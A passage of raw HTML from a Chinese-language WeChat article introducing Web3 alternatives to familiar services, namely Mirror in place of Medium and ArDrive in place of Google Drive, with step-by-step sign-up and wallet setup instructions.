normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong style="color: rgb(84, 84, 84);letter-spacing: 1px;"><br mpa-from-tpl="t"/></strong></span></section><section style="margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: rgb(255, 255, 255);" data-mid="" mpa-from-tpl="t"><img data-ratio="1.0454545454545454" style="display: block;" data-w="44" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding: 0px 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 32px;letter-spacing: 3px;text-shadow: rgb(61, 41, 34) 1px 1px 0px, rgb(61, 41, 34) 1px 0px 0px, rgb(61, 41, 34) 0px 1px 0px, rgb(61, 41, 34) -1px -1px 0px, rgb(61, 41, 34) -1px 0px 0px, rgb(61, 41, 34) 0px -1px 0px, rgb(61, 41, 34) 1px -1px 0px;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">6.从Medium到Mirror</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">首先，据官方介绍「<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mirror</span>」是一个基于使用<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web3</span>技术，构建在以太坊上的去中心化多媒体创作平台，因此可以使用 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Ethereum </span>登录，相较于传播度跟知名度都不错的<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Medium </span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mirror </span>同样作为创作平台，其与众不同的特点就在于它的加密产业的特质。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">包括需要以加密钱包注册帐号，创作完成的内容透过区块链<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Arweave </span>来做去中心化的永久保存、发起群众募资或者铸造自己的<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT</span>，让作家们能透过<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web 3 </span>的商业模式将文字内容货币化，私有化。很符合官方的口号“发布它，拥有它”。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">作为一个<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web 3 </span>的内容创作平台，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mirror </span>也同时在展开许多实验性功能，像是：<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT </span>拍卖功能或文章转移功能，可以直接把你之前在<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web2</span>上别的平台写的文章搬运到<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mirror </span>。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mirror </span>主打的去中心化部落格形式，在某种程度上可以确保不会被大数据的流量绑架，在没有索引、没有热门推荐的平台中，透过<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web 3 </span>的机制去纠正资源分布不均的状态，让中小型的创作者更能够专注于自己的创作内容。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">为扩大对创作者的包容性，目前<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mirror </span>也已经全面向所有用户开放一系列的创作工具，你甚至可以在平台上建立自己的社群、吸引其他人成为你的超级粉丝或和其他创作者交流等等。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">不过反之；根据长期使用者的访问心得表示，由于界面是英语而非中文，因此<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mirror </span>在中国的读者比例相对较少；</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Mirror </span>的知名度还不及<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Medium </span>这样的内容创作平台，想要自己的作品被更多人看见，还是需要自行把连结分享到像是<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Twitter </span>或<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Facebook </span>这样的中心化社交平台，为自己创造流量。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">使用方式：</span></strong></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">访问主域名</span> </span><span style="text-decoration: underline;font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><a href="https://mirror.xyz/" target="_blank">https://mirror.xyz/</a></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"> <span style="color: rgb(84, 84, 84);font-size: 14px;">，连接钱包</span></span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3325453112687155" data-s="300,640" style="" data-type="png" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=9f5004ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7BwPFTVJdt633QzLRXHA23sSPbuvR8QSyw1HVJp607eCl5iaP5KLpPnQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">创建自己的账户信息</span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.1234375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b5d1eea3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7d67Rj7BNgvTju1q01iatYfVrjngkVx76rcql9bib9WkicbgzAsowL9IMw%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">你可以选择绑定你自己的<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ens</span>域名，也可以暂时跳过<o:p></o:p></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4078125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=674d5387&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7jQLQcFnGKRicKibOlPdfAPKA8pNIibCZIicibwAicjtNrU4Y82pNrdEicpxhA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">接下来你就可以创建自己的内容了，需要注意的是如果你想要<span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">publish</span>，你需要切换到<span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">optimism</span>链路，推送是需要消耗<span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">fee</span>的，这也是为了保证创作者内容的高质量，避免无效内容的发布。</span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.36284584980237156" data-s="300,640" style="" data-type="png" data-w="1265" src="https://wechat2rss.xlab.app/img-proxy/?k=e1510860&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7BVA4B6dTdyrbRp0Lp3dHxZ7ib87nq5bJwibXXcO1HbmowRdZ1UbE0soA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4554064719810576" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=52c73ea5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7PDaxMyUicmZ9WvBFyo4MPK2NJVhUDnbHicib9VibzYkQOhw2kHhECEWQkQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">总体来说，Mirror作为一个多媒体创作者平台，其在表现形式上与现有web</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">2</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">的创作平台没有太大的区别，这也是为了方便创作者进行平台间的快速切换，但是其铸造NFT的功能在未来可能给创作内容带来的收益与权益保护是现有创作平台所无法保证的。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">从用户的角度来看，<span style="color: rgb(84, 84, 84);letter-spacing: 1px;">Mirror</span>可以说是一个高效信息的聚集地，其签名机制可以避免很多垃圾内容的出现。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">从开发者的角度来看，Mirror无疑是一个广阔的开发平台，其扩展性与传统web</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">2</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">最初的阶段是完全一致的。对于项目方来说，NFT机制的存在保证了Mirror生态的良好发展。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong style="color: rgb(84, 84, 84);letter-spacing: 1px;"><br mpa-from-tpl="t"/></strong></span></section><section style="margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: #FFFFFF;" data-mid="" mpa-from-tpl="t"><img data-ratio="1.0454545454545454" style="display: block;" data-w="44" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding: 0px 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 32px;letter-spacing: 3px;text-shadow: 1px 1px 0px #3D2922, 1px 0px 0px #3D2922, 0px 1px 0px #3D2922, -1px -1px 0px #3D2922, -1px 0px 0px #3D2922, 0px -1px 0px #3D2922, 1px -1px 0px #3D2922;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">7.从GoogleDrive到ArDrive</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive </span>建立在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Arweave </span>之上——一个低能耗的全球分布式区块链网络。但是，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Arweave </span>是基础层，对于非技术人员来说，访问使用它可能有点难上手。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">这就是由 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive </span>的创始人兼首席执行官 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Phil Mataras </span>领导着拯救的地方。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">到目前为止，通过他们的网络应用，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive </span>使得在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Arweave </span>上访问和存储文件的过程已经像在任何其他云服务（例如 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Dropbox </span>或 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Google Drive</span>）上一样简单。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">随着 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive Mobile </span>的推出，他们将这一概念更进了一步，将持久化数据存储的强大功能带入了普通人的口袋，同时保持简单易用。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive Mobile </span>允许用户轻松地持久化保存他们的文件，并且完全不受审查。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">用户的文件被加密存储，在世界各地组成的一个无需许可的网络上分布式存储，并可供几代人使用。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive Mobile </span>应用程序是使用 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Flutter </span>构建的，这是谷歌开发的一个开源框架，用于从单个代码库构建本机编译的多平台应用程序。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ArDrive </span>团队对这个选择非常满意，因为这意味着他们可以更快地更新所有应用（网页、手机和桌面）。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">这也意味着他们有更多的时间继续在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3 </span>上建设数据存储的未来。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">使用方式：</span></strong></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;">登陆主域名：</span><span style="text-decoration: underline;font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><a href="https://ardrive.io/" target="_blank">https://ardrive.io/</a></span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.38102766798418974" data-s="300,640" style="" data-type="png" data-w="1265" src="https://wechat2rss.xlab.app/img-proxy/?k=95a7f444&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7yDyxsJkQqBjyUFHPMtNlpdb99Bn7OxZ2Ap48pDcgibicRLht9VlJtmog%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">第一步：</span></strong><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">要注册</span><span style="color: rgb(84, 84, 84);font-size: 14px;">ardrive</span><span style="color: rgb(84, 84, 84);font-size: 14px;">首先要保证你的钱包里有</span><span style="color: rgb(84, 84, 84);font-size: 14px;">ar</span></span> <span style="color: rgb(84, 84, 84);font-size: 14px;">token</span><span style="color: rgb(84, 84, 84);font-size: 14px;">，<span style="color: rgb(84, 84, 84);font-size: 14px;">官网提供了</span><span style="color: rgb(84, 84, 84);font-size: 14px;">SimpleSwap</span><span style="color: rgb(84, 84, 84);font-size: 14px;">的跳转</span>，<span style="color: rgb(84, 84, 84);font-size: 14px;">在</span><span style="color: rgb(84, 84, 84);font-size: 14px;">SimpleSwap</span><span style="color: rgb(84, 84, 84);font-size: 14px;">上使用现有资产兑换</span><span style="color: rgb(84, 84, 84);font-size: 14px;">ar</span></span> <span style="color: rgb(84, 84, 84);font-size: 14px;">token</span><span style="color: rgb(84, 84, 84);font-size: 14px;">。<span style="color: rgb(84, 84, 84);font-size: 14px;">adrive</span><span style="color: rgb(84, 84, 84);font-size: 14px;">也提供了</span></span>100<span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">KB</span><span style="color: rgb(84, 84, 84);font-size: 14px;">的免费存储空间</span>，<span style="color: rgb(84, 84, 84);font-size: 14px;">尝试性的操作可以不使用</span><span style="color: rgb(84, 84, 84);font-size: 14px;">ar</span></span> <span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">token</span><span style="color: rgb(84, 84, 84);font-size: 14px;">来兑换更大的存储空间</span>。</span><o:p></o:p></span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5185477505919495" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=fcca3464&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7rFHfqw4KUUSqzeWNYfFkXAYWFaGzHde2I0KXzotg1XMUVXvdaxft8A%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">第二步：</span></strong><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">ardrive发布了它自己的dapp</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"> </span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">ArConnect作为自己的原生钱包</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">,</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">在它的官网可以找到入口<a href="https://www.arconnect.io/" target="_blank">https://www.arconnect.io/</a></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">,</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">将ArConnect作为Chrome插件加入到你的浏览器中。在这之后你可以使用这个钱包支付你使用ArDrive的各类费用。</span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.388801261829653" data-s="300,640" style="" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=09a47f8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7ZC17SJr7EYlo5GukNvMu2bJL3DsnIjqGyze2UO8w4ZwtdXGpvwY1icQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6522082018927445" data-s="300,640" style="" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=1a0a8711&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7NEh8dKfDHQxuic9c79a3nyibOE6YRvVPH0dtSECntlZQa1QJnukWgscg%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"> </span><span style="font-size: 10.5pt;color: rgb(84, 84, 84);letter-spacing: 1px;">创建你自己的</span><span style="font-size: 10.5pt;color: rgb(84, 84, 84);letter-spacing: 1px;">ArConnect</span><span style="font-size: 10.5pt;color: rgb(84, 84, 84);letter-spacing: 1px;">账户密码</span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5256511444356748" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=b76a6ac4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7s0uclxb6SsSftdtdPGay7HHicvVDkEaYMY4568eE0dAJiczrNaRhiaPxA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">选择现有的钱包链接存储库或者创建新钱包链接，笔者这里创建新的钱包作为演示，注意新的钱包会让你记住你自己的助记词，这是你钱包的唯一恢复方式，所以你需要牢牢记住你自己的助记词。</span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5165615141955836" data-s="300,640" style="" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=e88d3f41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia72YzNOo5QFyKZicCcib1vicmmUYdD80iaF07OibzjneTIibgHOm00b2TRuj2w%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"> </span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">到此为止，你的</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">ArConnect</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">钱包创建完成。</span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.5132275132275133" data-s="300,640" style="" data-type="png" data-w="756" src="https://wechat2rss.xlab.app/img-proxy/?k=fa71fb1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7mdTsia8gHxONNAf7artLGyDFAyFsolpATFKpVybX8JSbibpd4QrD8VibQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"> </span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">第三步：登陆到你的ArDrive </span><span style="text-decoration: underline;color: rgb(84, 84, 84);letter-spacing: 1px;"><a href="https://app.ardrive.io/#/sign-in" target="_blank">https://app.ardrive.io/#/sign-in</a></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"> </span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3903404592240697" data-s="300,640" style="" data-type="png" data-w="1263" 